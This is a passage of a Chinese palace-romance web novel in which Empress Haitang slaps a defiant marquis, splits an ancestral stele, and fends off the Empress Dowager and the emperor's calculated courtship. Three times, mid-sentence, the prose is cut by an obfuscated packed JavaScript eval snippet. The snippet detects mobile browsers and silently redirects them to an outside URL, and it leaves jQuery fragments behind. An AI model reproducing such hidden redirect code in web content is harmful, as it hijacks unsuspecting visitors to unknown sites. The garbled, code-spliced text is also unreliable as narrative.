“实在是河西地界遥远,土地贫瘠,农桑不繁,商贾不盛,原先河西的军队里,大部分都是当地的青壮年子弟,他们每月领取军饷,便是全家当月的嚼用,亦是唯一的收入,如若将他们削兵还籍,那有多少人家将无米可吃,无钱可用,就算朝廷拨付了一部分银钱,但那也是过渡所用,不是长久生计之道,况且朝廷的军队过去,那两万军士背井离乡不说,花销也是一大笔,实在劳民伤财。” “如若陛下执意削兵,臣不敢担此责任,还请陛下写下旨意,若河西削兵之后,外族来犯,陛下要一力承担所有责任,出罪己诏昭告天下,陛下可能承诺?” 靳桓脊背挺直,振振有词:“若陛下连国土太平都不能保证,却偏要强逼臣下削兵减辎,将河西拱手让与外族,那陛下与臣,都难逃其究,俱成了大周的罪人!” 皇帝一拍桌子:“你…” 可靳桓毫无畏惧之色。 “靳侯,你好大的能耐,身为臣子,竟敢逼天子写罪己诏,实属倒反天罡!” 身后略带嘲讽的女子声音传来,众臣回身。 “皇后娘娘,您怎么来了?” “讲书阁乃议政重地,还请娘娘速速回宫!” 海棠踏入门内,无视众人喧嚣议论,不慌不忙,慢步走上去,明为公事,实为私心,直接照着靳桓脸上甩去一巴掌。 朱唇轻启:“竖子放肆,不臣之心昭然若揭!” 群臣愕然:“皇后娘娘!” 皇后是疯了不成,竟敢当众掌掴朝廷重臣! 更何况还是分封的诸侯,掌管河西那偌大的封地,就是陛下都要给他三分颜面! 靳桓捂着脸,被她一巴掌打得有些发懵。 而后气急反笑,原来在这等着他。 他抬起头看向海棠:“娘娘这是,蓄意报复已久了吧?” 海棠轻笑:“这叫什么话,陛下仁爱,屡次三番纵容你,你却不明白朝廷的苦心,靳侯,你若真是为国为民的忠臣,这军令状该由你来立,将来若有不臣之心,天下人人得而诛之!” 海棠看向皇帝:“陛下,河西侯说得没错,朝廷遣派军队劳民伤财,还是河西自治最为合适,不过既然河西侯忠心耿耿,那陛下不如从京都官员中,挑选合适的太尉、都守、领军将军,将河西地方的官员替换下来,日后以朝廷的虎符,调动河西的军队。” 皇帝一时有些愣神,不理解海棠为何会突然为他出头,袒护于他。 实则海棠只是讨厌靳桓到了非要给他教训的地步了。 此时吏部尚书犹豫开口:“娘娘,这毕竟是前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391077|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝事,您来插手,这不是干政吗,于情于理,都不合适。” “你给我闭嘴!”海棠澄红的指甲直指吏部尚书的面门:“你这老东西,真是见风使舵,既然前朝事后宫不宜插手,那往日章太后垂帘听政,怎么不见你们废话?” “太后议政便是妥当,我提出一点建议,就是干政,钱尚书,你怎么这样偏心?你曾经还是我父亲门下弟子,如今他不过病休了几日,你就当众刁难我,若是我父亲今日在这里,你敢说这样的话吗?” 吏部尚书涨红了脸,辩驳道:“今时不同往日,那时陛下年少,太后垂帘听政乃先帝所托!” 海棠冷道:“地方之乱,为国之大患,计量深远,我哥哥征战前线,平定四方,我身为皇后,乃后宫之主。” “你们,你们这些人,家中可有亲眷身在前线?你们可曾上战场卖命?我为何不能说话?我是最有资格说话的人!” 吏部尚书被喷了个狗血淋头,群臣面面相觑,皇后实在霸道如母老虎,不敢触她霉头,只能向皇帝投去同情的目光。 靳桓却并不是肯轻易受辱的人,就算他之前对海棠稍有意图,可现下挨了她一巴掌,也必要讨回点利息的。 他啧啧两声,对着海棠的发髻打量一圈:“皇后娘娘为国情怀诚心可鉴,只是素日听闻皇后铺张奢靡,挥霍无度,您这锦缎一匹,便是前线十匹战马,金钗一支,可抵将士数月米粮。” “娘娘,您身处后宫,荣华富贵,享受百姓供养,不知这世道艰难,许多事,不是碰碰嘴皮子就能解决的。” 海棠弯起嘴角,盯向靳桓。 好啊,真是个牙尖嘴利的贱人!想黑她是吧! 就算被他阴阳一番,她仍面色不改:“靳侯说得是,之前初入宫闱,我确实用度颇大,现在想来,实在不该,如今蜀州才平,赣州战事吃紧,我愿将长信宫所有财物,悉数捐出,用于前线。” “身外之物,生不带来,死不带去,无可留恋,取之于民,用之于民,这是应当。” 捐出财物,她本身也并不在意,之前奢靡无度,实在是与皇帝太后反目,故意为之,这些金银珠玉,也没有什么舍不得的。 靳桓一笑:“娘娘大义。” 他仍不死心,接着出招,要看海棠如何应对:“只是后宫干政,确实违背先祖规矩,方才尚书大人所言,并非刁难,而是好意规劝,娘娘却动怒责骂他,真是叫人寒心。” 海棠哦了一声:“这先祖规矩从何而来?” 靳桓抬手指向门外:“讲书阁是议政之地,太/宗皇帝曾在此立石为证,后宫不可干政!” 妈的,这高家的狗屁规矩还真是多! 海棠没了耐心,也不想再和他文绉绉打太极,一句话饶光了她所有钱财不说,还揪着前朝后宫的破规矩不放。 她咬紧牙关,顺手取下挂在墙上的尚方宝剑,冲出门外,果然立了一块石头在那里,上面以金字雕刻。 后宫干政,前朝的林德妃好像最后就是以这个罪名被处死的,其实只是先帝厌恶了她,厌恶她的母族,便说她与母族联系太密,是勾结前朝外臣,意图不轨,轻飘飘将他们处死了。 海棠直接断喝一声,抬起胳膊,用尽全身力气,一剑将那石头劈成两半。 将剑丢在地上,剑刃磕出清脆一声响来。 众臣从屋内手忙脚乱地冲出来,见此满地狼藉,惧是大惊失色。 “皇后,你这是!” “太放肆了!真是太放肆了!” “这可是太/宗皇帝所立之碑啊!” 海棠倒是淡定:“前朝后宫,自古以来息息相关,后宫嫔妃宫人,亦有家人亲眷身在前朝,何为干政?不过是前人故意压下的一桩罪名罢了。” “从前为这桩规矩,为守这道不存在的红线,多少嫔妃数十年不能得见家人,多少宫人在红墙内困宥一生,唯恐被指责牝鸡司晨,不守本份。” “既然一朝天子一朝臣,前朝的规矩今朝为何要守?从今往后,这块石头没有了!这条规矩也没有了!” “史书要骂,就骂我一人好了!” 18. 第十八章 皇后提剑劈石,甩袖离去。 留下群臣交头接耳,议论纷纷。 看来往日传闻确实不假,皇后娘娘真乃后宫战神也! 只是可惜那块传了几朝的石碑,就此毁了。 唉,说来要叹气,后宫不得干政是太/宗皇帝立在这的,虽然太/宗死后没人拿这话当回事,说是不给干政,但是历朝历代嫔妃弄权者众多,这碑立在这如同狗屁。 显宗的赵皇后,光宗的刘皇后,定宗的吴贵妃,还有如今的章太后,没有一个不掺和政事的。 可是毕竟敢一刀劈了的人还是没有,而且就算真劈了能怎么样呢? 一朝天子一朝臣,这话说得没错,以什么罪治她呢?能废了皇后吗?能掐死她吗? 除了把嘴巴张大点吃惊一下,回去传传八卦,骂两句不成体统,好像也没什么别的办法,况且皇帝自己都没说什么。 周王朝的嫔妃们实在疯癫,大家早就习以为常,显宗的皇后赵氏,曾把太/宗皇帝留下的传国玉玺上“天道昌隆,承运帝高”中的高字磨去,刻上了自己家的姓氏“赵”字,“帝高”变成了“帝赵”。 后来光宗皇帝继位,下令将玉玺焚毁,也幸亏是烧掉了,光宗皇帝肯定想不到他死后,他的刘皇后也学着赵皇后把持朝政,要不是玉玺被烧了,恐怕“帝赵”又要被改成“帝刘”。 宫里的大戏一出胜过一出,待这些大臣们出了宫去,保准有几个管不住嘴的,要将这事传得人尽皆知。 就是可怜颐妃的亲爹宣平侯爷,今日恰好也在场,见皇后这副穷凶极恶的样子,不免为自家女儿捏了把汗。 大相国老谋深算,奸滑狡诈,连他的女儿都教养得这么盛气凌人,只可怜他家自幼娴静的掌上明珠,如今屈居人下,要在这样的皇后手底下讨生活,这过得是什么样的日子! 说起来大相国自嫁女入宫之后,许是帝后矛盾太深,皇帝屡次在前朝发难于大相国,这老家伙不仅没有一点愧疚之心,还巴不得撇开那给他惹祸的女儿,学起那保媒的吴老尚书,也称病在家躲起来了。 如今上朝三天打鱼两天晒网的,皇帝想发作都找不到人。 宣平侯走在出宫的路上,唉声叹气。 可毕竟宇文靖霆还在前线卖命,宇文宏都在家里装缩头乌龟的日子不会太久。 等他一出来,这朝中又要热闹了。 * 海棠刚走没多久,皇帝就匆匆追过来:“皇后留步!” 身旁春泠心急如焚,扯着海棠的袖子:“坏了娘娘,您砍了太/宗皇帝的石头,必是来问罪您的!” 海棠哼道:“我怕他?” 回过头去:“陛下这就处理好了?回来了?” 不过和她想得不一样,皇帝并不是来问罪的,反倒有些感激海棠今日的拔刀相助。 “靳桓言辞狂悖,实乃大逆不道,今日也算你当众解围,这件事朕要多谢你。” “不必,河西侯目无王法,挑衅皇权,我身为皇后,自然不能坐视不理,今日我并非为你,而是为了我自己。” 皇帝又道:“只是有些事,可以变通解决,也不要太过鲁莽,今日提剑劈石,实在过激了,这样的名声屡屡传出去,对你不好。” 海棠笑了:“陛下何时有闲心在意我的名声了?再说我在外早就是妒妇恶后之名,正好向他们展示展示,何为妒妇,何为恶后。” “我连太/宗皇帝立的碑都敢砍,下次谁再惹我,砍的就是他的脑袋!” 二人在宫道上并步而行,两侧红墙绵延向前,顶端云石如龙脉般起伏。 皇帝有些感慨:“自你进宫以来,咱们俩还从来没这么好好走走,说说话。” 海棠疑问:“谁要跟你说话?少自作多情!” 皇帝垂目:“你为何总是这样一副拒人于千里之外的模样,第一次见你就是如此,朕扪心自问没得罪过你,你要说立后之事,朕也有许多难言之隐。” 海棠道:“并不是我有意为难你,实在天性如此,难以更改。” 皇帝不肯信,追问起来:“胡说八道,朕看你与你家姊妹在一起时,不是有说有笑的,怎么就天性如此了?” “你就是对朕心有偏颇,存心刁难。”他不依不饶的。 海棠甚是无语,眼角抽了抽:“陛下,您还是早些回去歇息吧,你不累,我累了,我今天出了大力气,可累死了,我得回去歇着了。” 她面露玩味之色,又说道:“陛下,我对不起你,身为皇后,损毁先祖之物,明知故犯,罪加一等,明日早朝定会有很多人来声讨的,你不回去好好想想怎么帮我糊弄过去吗?还是说,您正好打算借此事把我给废了呢?” 皇帝也翻她白眼,两人正在互相甩脸,不远处有内监匆匆赶来:“陛下,太后娘娘突发急症,您快过去看看吧!” 毕竟是名义的儿媳,又已经在一条路上了,皇帝看着海棠,海棠一手叉腰,无精打采地望天叹了口气,不得不跟着一起过去一趟。 不知道太后葫芦里卖的什么药,现在这时候发急症。 两人刚到了太安宫门口,才踏进门,一把银剪子就照着海棠面门甩了过来,幸好她还算年轻,眼疾手快,躲得及时。 刚站稳,人还没反应过来,就看见章太后披头散发,手持宝剑朝着她冲过来:“妖妇!妖妇!是你要毁我大周江山!天神已经降下神谕,必要除了你,我大周的江山社稷才能稳固!哀家得到先帝托梦,今日就要替天行道,为我大周先祖,斩了你这祸国的妖孽!” 章太后眼神溃散,拔剑就砍,皇帝冲过来拦在海棠面前:“母后,您是不是疯了!在胡言乱语些什么!又是求神拜佛入了痴魔吗!” 章太后此刻听不进去任何话,一剑下去,猛地砍伤了皇帝的肩膀,顿时鲜血潺潺。 众人惊呼出声:“陛下!” 皇帝捂住自己受伤的右肩,今日真是撞邪了。 老婆一剑,老娘一剑。 看到儿子身上蜿蜒流下的血,章太后跌坐在地上,这才清醒了一些:“我儿,我儿啊,你没事吧,母后伤到你了!” 皇帝看向章太后,语气颇重:“母后,宇文海棠是大周皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413201|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,亦是朕的妻子,你怎可刺杀她?” “我没有,我没有,”章太后吓得不知所云,看到皇帝身上血流不止,顿时放声哭了出来:“你怎么跑到前面来了,你跑来干什么?你要有个三长两短,母后也不必活了!” 皇帝今天的苦闷之气真是叹个没完了,被自己亲娘砍了,能怎么办呢?认栽吧! 不一会,太医来了,好在太后的力气不大,伤口不是很深,只是流血颇多,看着吓人。 海棠走进内室,皇帝正在包扎,褪了半边衣裳,疼得额头直冒冷汗。 看他忍痛的样子,海棠突然有点于心不忍。 幸好这一刀是他拦在前面,不然恐怕就要劈到她脸上去了。 可是转念一想,这是他亲娘自己砍的,关她什么事? 想到自己就差点死在他亲娘手里了,这点同情瞬间灰飞烟灭。 那个老妖婆,砍儿子知道心疼,砍她就跟切菜一样爽快。 内监正给皇帝上金疮药,他突然动怒:“笨手笨脚的,不知道轻重吗?滚下去!” 内监吓得手一抖,金疮药的瓶子跌落在地上咕噜滚了一圈:“陛下饶命!陛下饶命!” 海棠摆摆手,示意他退下。 重新拿了一瓶新的金疮药,挽起袖子,亲自给他上药:“你跟他们置什么气?” 皇帝恼火:“看到这些蠢人就烦!偏朕身边还全是这样的蠢人!” 海棠知道他一直在忍痛,身为帝王,就算疼痛,也不能大喊大叫表露出来。 因此她特意放慢手脚,动作轻缓,上完药后又涂了些消炎的药膏,有冰凉阵痛的功效。 她低着头,十分专注认真,偶尔两睫眨动,如蝶翼般轻振。 手指纤嫩,身上带着一阵幽幽的香,令人心痒难耐。 皇帝深吸了一口气,突然攥住她的手,拉她靠近,注视着她的眼睛:“以后你我二人,能不能好好相处,不要再像以前那样针锋相对。” 海棠被吓了一跳,抽手回去:“陛下,你也发急症了?” 他并不气馁:“没关系,今日事多,你先回去休息,朕明日去看你。” 海棠赶忙站起身来:“陛下你也好好休息,不用来,正巧近日我大门坏了,不方便开合,没法招待您了。” 她跑得如一阵风,皇帝久久注视门口。 待她背影消失,才阖上眼睛。 复又睁开,释放掉自己压抑许久的情绪,转而换上冷漠的脸色。 他黑着脸看了看自己的伤口,将方才那只摸过海棠的手在衣服上狠狠擦了几遍。 卜瀚文出得什么馊主意,哪有皇帝做成他这样的,上赶着热脸贴人家冷屁股。 旁边卫少监问:“陛下现在要去哪,去颐妃娘娘那吗?” “你也是个蠢货!”皇帝没好气:“朕刚跟皇后说了许多酸掉牙的话,转头就去颐妃那,这戏还怎么唱下去?” “去告诉颐妃,这阵子朕都不能去了,她聪明,会明白朕的意思。” 说罢,皇帝长长叹了口气,按了按胀痛的眉心。 19. 第十九章 临近端午,徐威来相国府送节礼。 准备了腊肉、火腿、阿胶、药材,另有新鲜的粽子、蜜瓜、新茶和十匹时兴的妆花缎,缎子有莲纹、鱼纹、福纹等样式,颜色也是兰君素日喜欢的天青、月白、鸦蓝等色。 不知这呆子受了谁的点拨,这回竟然还知道送首饰了,用翡翠打了一条水滴手链,看着不俗,样式很是新颖。 兰君邀他在亭中品茶,知道兰君擅琴艺,徐威还特意寻来一本珍贵的古琴谱相赠。 兰君今日一身浅绿长裙,风中裙摆舞动,清雅翩跹,徐威腼腆笑道:“那日宫中宴席,我恰好公务在身,没有过去,听母亲说,你在席中大放光彩,琴艺高超,令众人交口称赞,真是可惜,我没能看到。” 兰君道:“浅薄之技,何足挂齿。” 徐威道:“来日你嫁入徐家,便可只弹给我一人欣赏了,到时我们晚上便在凉亭中煮茶、弹琴、赏月,你说好不好?” 他握上兰君的手:“良辰美景,有你才不辜负。” 兰君浅笑,点点头。 徐威又道:“上月三位侯爷回了封地,听说河西侯这次回去很不高兴,朝中对他一再打压,就怕河西后面不太平,宇文兄长还要再操劳。” 兰君忧心道:“海棠剑劈太/宗石碑的事闹得沸沸扬扬,哥哥又远在赣州,我这心里始终不能安定。” “没事的,都会迎刃而解的,宇文兄长威风神勇,连蜀州之乱都能平定,小小一个赣州,对他来说岂是难事?”徐威宽慰道:“说起来江东侯走时对你大加赞赏,这琴谱就是他留下的,让我转交给你,据说是什么前朝名家留下来的,我倒不太钻研这些,也听不懂他说什么。” “什么?这是江东侯给你的?”提到江东侯王璟,兰君的表情有些不自在:“你与他还是少些来往吧,这人并非善类。” 徐威鲜少见她与人不和,难免惊讶:“这是为何?江东侯为人宽厚,谦逊有礼,上回在部中遇到他,他跟我相谈甚欢,离京时还送了我不少东西呢!” 兰君叹气:“他不见得就是什么好人,你不要对谁都轻易相信,别人家问什么话,就全都和盘托出,你诚心实意的,难保人家把你当傻子。” 说罢拍了拍徐威的肩:“你是个没心眼子的人,以后你记着,谁的话都别听,就听你爹你娘的,然后听我的,记住没?” 徐威点头:“记住了,你莫担心我不听你话,我既和你定亲,那就是认准了你这个人,将来娶了你,肯定唯你是从,绝无二话!” 兰君笑了笑,又想到王璟那个伪君子, 走时说是仰慕她的琴艺,要在建安那边打造一架好琴送给她,聊表诚意。 专门制作古琴的好木头只有江东那边有,王璟回去不久后确实给她送了一架好琴来,不仅用料珍贵,音色绝美,琴的两侧还镶嵌了美玉,十分华贵。 又寄来书信问她是否收到,兰君为表谢意,也回信一封。 原本她以为只是欣赏她琴艺的知己之情,谁知道后来书信越发频繁,驿站的马匹都跑得快认门了,而且信中总是问她个人的事情,甚至还提到她的婚约。 直言徐威木讷,非为良配,一生相伴,恐怕无趣,若有旁意,他可在江东为她牵线,另择青年才俊。 兰君是很少发脾气的人,看到这个也觉得太过分了。 徐威是什么样的人与他何干?她的婚约与他何干?她和徐威能不能过到一起去与他何干? 是不是以为她性子文静,言语不多,便觉得她是好欺负的,竟敢这样唐突她! 江东侯一贯谦谦君子,美名在外,素有芝兰玉树之美称,可现在看来这人也是名不副实,十分可恶。 从看到那封信开始,兰君后面就不再回他信了,可他的书信还是源源不断。 兰君觉得这样不好,她是已经有婚约的人了,徐家对她不错,她也绝不是朝三暮四水性杨花的人。 王璟这样来来回回的,若被徐家知道了就无法收场了,还是要趁早处理掉。 这件事兰君在心里想了有一阵子了,实在烦扰,她不知道怎么做才好,想同父亲说,又不大好意思开口,总不能说因为她在赏花宴上弹了一次琴,现在江东侯缠上她了吧? 以父亲那老古板的性格,说不定还要质问她有没有做什么越矩的事情给人家非分之想了。 海棠在宫里自身难保,哥哥战事繁忙也不在京中,谁能替她出头呢? 昨日夜里嘉宁缠着她一起睡,她一时没忍住,将这件事告诉了嘉宁。 嘉宁听了很是吃惊:“我就说嘛,当时宴席上我就觉得他不对劲,果然没安好心。” 可她毕竟年纪小,拿不出什么主意,还戏谑起来:“不过江东侯和徐世子比起来,确实好很多啊,起码长得俊些吧,他跟姐姐站在一起才称得上郎才女貌嘛!” 嘉宁点着下巴思考:“要从小姨子的角度看,不管是学识相貌,还是身家地位,还是江东侯和姐姐你更相配,唯一可惜的就是他来晚了,错过了。” “再说姐姐你就看上徐威这样的老实呆瓜,这有什么办法呢?任他王璟神通广大,不是你的意中人,恐怕也难以扭转你的心。” 嘉宁显然没有太当回事,还嘻嘻哈哈的:“本来我还以为王璟也是老实人,现在看来他还是胆子大,竟然敢来书信撩拨已有婚约的女子,真荒唐啊,这是江东王家干出来的事?” “这种事姐姐你这小古板怎么敢回应他呢?就算二姐都不一定敢干这种事。” “不过要是我,没准儿我真把徐威踹了换个人,一辈子跟个榆木脑袋过日子多没意思啊!” 嘉宁满嘴混不吝的话,叨叨说个不停,气得兰君扭头直接蒙被子睡了。 道不同不相为谋,就知道她说不出什么好话。 * 皇帝突然转了性子,近日常去皇后宫中坐坐。 宫里一看长信宫的风水变了,陛下从前最厌恨长信宫了,就是坐着轿辇都绝不从长信宫门口路过,偏要绕道走。 帝后不和已久,怎么突然就解开嫌隙了,变得恩爱了? 这几日宫中就连负责洒扫的末等宫女都在交头接耳,议论着这些深宫琐事。 也不怪大家八卦,宫闱寂寞,本就是是非之地,长久地待在这里,不说些闲话排解排解,那日子真是没法过了。 往日说延庆宫的最多,总传颐妃和陛下怎么恩爱非常,情比金坚,二人一起看书煮茶,下棋弹琴,郎才女貌,甚是般配,又说陛下如何珍爱颐妃,赏赐无数。 别看颐妃素日节俭,可她的东西虽然外表不华丽,真东西可全在里头,像她冬日里穿的披风,那做里子的皮料是极其珍贵的紫狐皮,寻常见都难见,可颐妃却有能做一件披风这么多的皮料,足见陛下对她的恩宠也是润物细无声,都藏在内里了。 倒是皇后时常招摇,却并没有这等真正珍贵的好东西,延庆宫人嘴紧,寻常想探听些八卦都问不出什么来,颐妃管教宫人甚严,偶尔有那么一两个借着主子恩宠在外炫耀的,没多久也都被撵回内廷府去了。 皇后宫里人少,有一个恶煞般的向嬷嬷管着,还有一个从府里就跟着皇后的大宫女春泠,成天横着眉毛冷着脸,那脾气大的尽随了她主子,有这两个左右门神在,也没几个人敢去踏长信宫的门槛。 之前是西风压倒东风,如今倒好,掉了个儿,开始东风压倒西风了,延庆宫成了冷锅冷灶,倒是长信宫开始红火起来了,要不说这是风水轮流转呢! 不过细想来,也不奇怪,皇后美貌,又怎会长久失宠? 之前是皇后自己刁蛮,才惹了陛下不快,没准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429347|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿如今自己想开了,也学着颐妃那样温柔小意起来,那陛下怎会不喜欢? 任谁身边放着个娇滴滴的大美人,缠着你撒娇恩爱,谁会不理呢,像皇后之前那样没有章法的大发脾气,陛下都忍了好一阵子呢,要不是后来又牵扯到太后那里,也不至于闹得那么僵。 比起皇帝带来的风言风语,海棠倒是更烦他最近这么没眼见的来,撵他也装听不见,一整个脸都不要了,她像是欢迎他的样子吗? 吃饭时也来,午睡时也来,闲时下个棋吧,一抬头他又站在门口了,搞得海棠既约束又心烦,连黄书都不能拿出来看了。 这日午膳过后,海棠刚准备在贵妃榻上午休一下,他又来了。 直气得海棠掀了被子直挺挺坐起来质问:“你怎么又过来了?” 皇帝略过她发脾气的语气,径直走进来坐下了:“来看看你。” 海棠十分恼火:“我是病得要不成了吗?你这么天天的看,你且放心,我还有得活,你有得是日子看!” 皇帝啧声:“朕刚忙完,顺路来看看你在干什么,刚说一句话,你就这么冲。” 皇帝虽然忍着她,但到底还是没忍住又提醒了句:“你是中宫,说话不要口无遮拦,以后少说这种诅咒自己不吉利的话。” 海棠心想你若真想我活得长久,就该离我远些。 她颇有些欲哭无泪:“陛下,你到底想干嘛?你跟我直说吧,咱们敞开天窗说亮话,只要我能办到的,我尽力帮你办,你别来烦我了行吗?咱俩就像之前那样,井水不犯河水,互相安好可以吗?” 皇帝嘴角一笑,微微向后靠去。 我想要你爹的命,不知你愿不愿帮我办呢? 可是脑子里过了一圈,还是装着委屈道:“朕只想来看看你,你又嫌朕烦了,你该干什么就干什么,朕在旁边又不打扰你。” 海棠直把脸捂着,愁眉苦脸道:“我算是怕了你了!算你狠行了吧!” 皇帝倒有些想笑,她素日牙尖嘴利,无法无天的做派,这才哪到哪,就招架不住了? 但是想到卜瀚文给他出的怀柔之策,便祭出那十六字箴言—动之以情晓之以理,天长地久必能感化。 于是故作姿态道:“其实朕也不想和你闹成如今的局面,于私,我们夫妻一体,就算没有感情,至少也能当个朋友吧,于公,帝后同根,是无法分割的盟友,朕知道你本性不坏,也并非纨绔之人,你和朕一样,少年时都过得很艰难,都各自有为难的事,那为何像我们这样的人,还要针锋相对,两败俱伤呢?” 他看向海棠:“人生百年,夫妻一场不容易,总也是桩缘分吧?朕扪心自问,一开始对你并无敌意,但你为什么,从来不肯好好和朕认真说一句呢?” 他坐在这长信宫的宫殿里,也是难得没有大发脾气,正经地说了一回话。 回忆起往日每次踏足,不是争吵就是摔砸,总之想起来没有一件好事。 可是纵使皇帝突然煽情起来,海棠也并不领情:“为什么?没有为什么。” “喜欢一个人需要原因吗?讨厌一个人需要理由吗?” “我需要向你解释吗?” “你不是真心娶我,我也不是真心想嫁给你,你看我这悟性,像是能做皇后的人吗?” “你赶鸭子上架,又怪我做得不好,你对我冷漠,你母后也总是欺压我,你都是视而不见,刚进宫的时候,太后总是礼佛,让我一百遍一百遍的抄佛经,你们有一个人为我说话吗?那我不反抗行吗?” “可我反抗了你又不满意了,又希望我温顺乖巧,像别的嫔妃那样低眉顺目,求你怜惜。” “高翊,不对,我应称您为陛下,今日我也是真心劝您一句,不论是为君的本分还是为夫的本分,陛下,请您记住,做人不能太贪婪。” 20. 第二十章 “你要宇文家的女儿做皇后,你不是已经得到了吗,为什么现在又要嫌弃这皇后不能让你满意呢?” “这一切难道不是你自己所求吗?人这一生,本来就是失之东隅,收之桑榆,一反一复,有得有失。” “想要很多钱,是得到了,但没准是被打断腿赔来的钱,想要中进士,也可能会中,但也许到白发苍苍才考中,想要夫妻和睦金玉良缘,但更没准生下蠢笨子孙拖累下半辈子。” “你坐拥天下,所以你得到了一个无能跋扈的皇后,我出身富贵,所以我得到了一个讨厌我的亲爹外加一个讨厌我的丈夫。” 说起这些,她甚至笑了笑。 皇帝沉默着,垂着眼眸:“你以为进宫以来,你做的种种荒谬行径,朕不知道你是故意的?太后不知道?” “你把这当作反抗吗?太天真了。” 随后叹了口气:“不过你说得也对,立后这件事是怪朕自己一意孤行,才造就你我这样一对怨侣,这事算朕对不住你。” 海棠语气淡淡:“反正我这辈子已经是前方无路,难见光明了,以后会怎么样,不知道。” 她突然不想装傻了,故意问起:“你立我为皇后时其实就想过要废我吧?这个皇后能做几天我自己都不知道,我又何必要兢兢业业呢?” 皇帝猛地抬起头:“为何这样说?” 海棠一笑:“我不相信你会容忍我这个姓宇文的坐在皇后的位置上,再生下有宇文氏血脉的皇子皇女,我也不知道这个皇后的位置你是真正准备留给谁的?也许现在是颐妃,但是也未必,等你废我的时候总还有个几年吧,到那时也许会有更合适的人选。” 皇帝表情复杂,半晌才道:“不要胡乱猜测,皇后废立乃是国家大事,岂容儿戏,你当是集市拣菜吗?还能挑挑拣拣?” “是你自己想太多了。”皇帝觉得没有必要再说下去了,起身要走。 海棠站起来追问:“等赣州平定,可以让我哥哥回来了吧?朝廷那么多武将,不是非他不可!” 皇帝停在门口,听到这句,又转过身来:“宇文靖霆劳苦功高,等他凯旋,朕自然会为他加官进爵,此乃为国征战,你不要多事,若是朝中人人像你这样,不顾国家百姓,只顾自家安危,那朝廷直接关上大门算了!你身为皇后更要以身作则,不要宣扬这些退缩惧事的言论!” 海棠道:“你跟我爹怎么样我管不着,反正你俩都不是什么好人,只有一样,你要是敢伤我的兄弟姐妹,我做鬼都不会放过你!我上吊都要吊在你床头!” 皇帝直接拂袖而去。 他走了,殿内安静下来。 海棠趴回榻上,盖上薄被,想到那天哥哥来见她的场景。 “海棠,你不要害怕,不论天南地北,哥哥都会护着你,就算将来陛下将你废了,另立颐妃,哥哥也会来把你接走,带你回家。” “以后哥哥去哪,就带你去哪,有哥哥的地方,就是你的家。” 海棠哭着对他说:“那你要平安回来,我就你一个靠山了,你可不能倒,战场上刀剑无眼,你不要那么笨,替高家卖命,他们才不配!也不要第一个冲锋陷阵,你是将军,你可以往后躲着点的!” 哥哥笑她:“胡说八道,孩子话!” 把被子蒙过头顶,海棠又无声地流出了眼泪。 那年冬天,娘死的时候,她刚过完六岁的生辰。 她掉进湖里,呛了很多水,扑腾得快要没有力气了,渐渐沉了下去。 周围没有人,是娘先看见她的,娘跳下去把她捞了起来,娘在冬天结冰的湖水里受了寒,病得更严重了,四个多月之后娘就病死了。 从此以后她就没有娘了。 现在她已经学会游水了,游得很好,但是老天不会再给她一次机会。 在她的记忆里,从能记事开始,娘的身体就一直不大好,据说是生嘉宁的时候难产,大伤元气,那几年她都在养身体。 海棠记得她很怕吹风,夏天套着披风,冬天套着大氅,总是把头发斜斜梳着,垂在一边。 她经常咳嗽,喝很多药,府里的老嬷嬷偶尔会扶她在花园散步透风。 但是娘对他们兄妹四个很好,每次去请早安时,都给他们准备糖和点心,海棠和嘉宁是最馋的,但是那时候嘉宁还很小,很多东西吃不了,所以就属海棠在娘那里吃零食吃得最多,她吃了很多娘做的奶糖。 娘还会亲手缝衣服给他们穿,海棠有一双胭脂红的绣缎虎头鞋,是娘在六岁那年生辰礼给她做的,这么多年她都一直带着,即便后来进宫,她把以前的衣服首饰全送给了嘉宁,但是这双小鞋也被她装进箱子里带进宫来了。 嘉宁是姊妹里面最小的,小孩不记事,她对娘的记忆不是很深,后来长大聊天的时候,嘉宁说其实她已经不记得娘长什么样子了。 但海棠怎么可能忘记呢,娘是因为她死的啊! 娘从难产生下嘉宁以后就身体亏空,病了两年多,越来越不见好,家里下人都说怕是治不好了,没多少日子了。 爹爹当时官运亨通,直上青云,这样位高权重又年纪不大的权臣,家中嫡妻的位置自然不会空置。 那时候祖母还在世,便张罗着给爹看续弦的人选,在家中大摆宴席,邀请了很多名门望族家的小姐来赴宴。 娘当时就套着一件白色披风,远远望着那处的热闹,那里正在选着接替她的人,虽然她还没死,娘的陪嫁嬷嬷一直在抹眼泪。 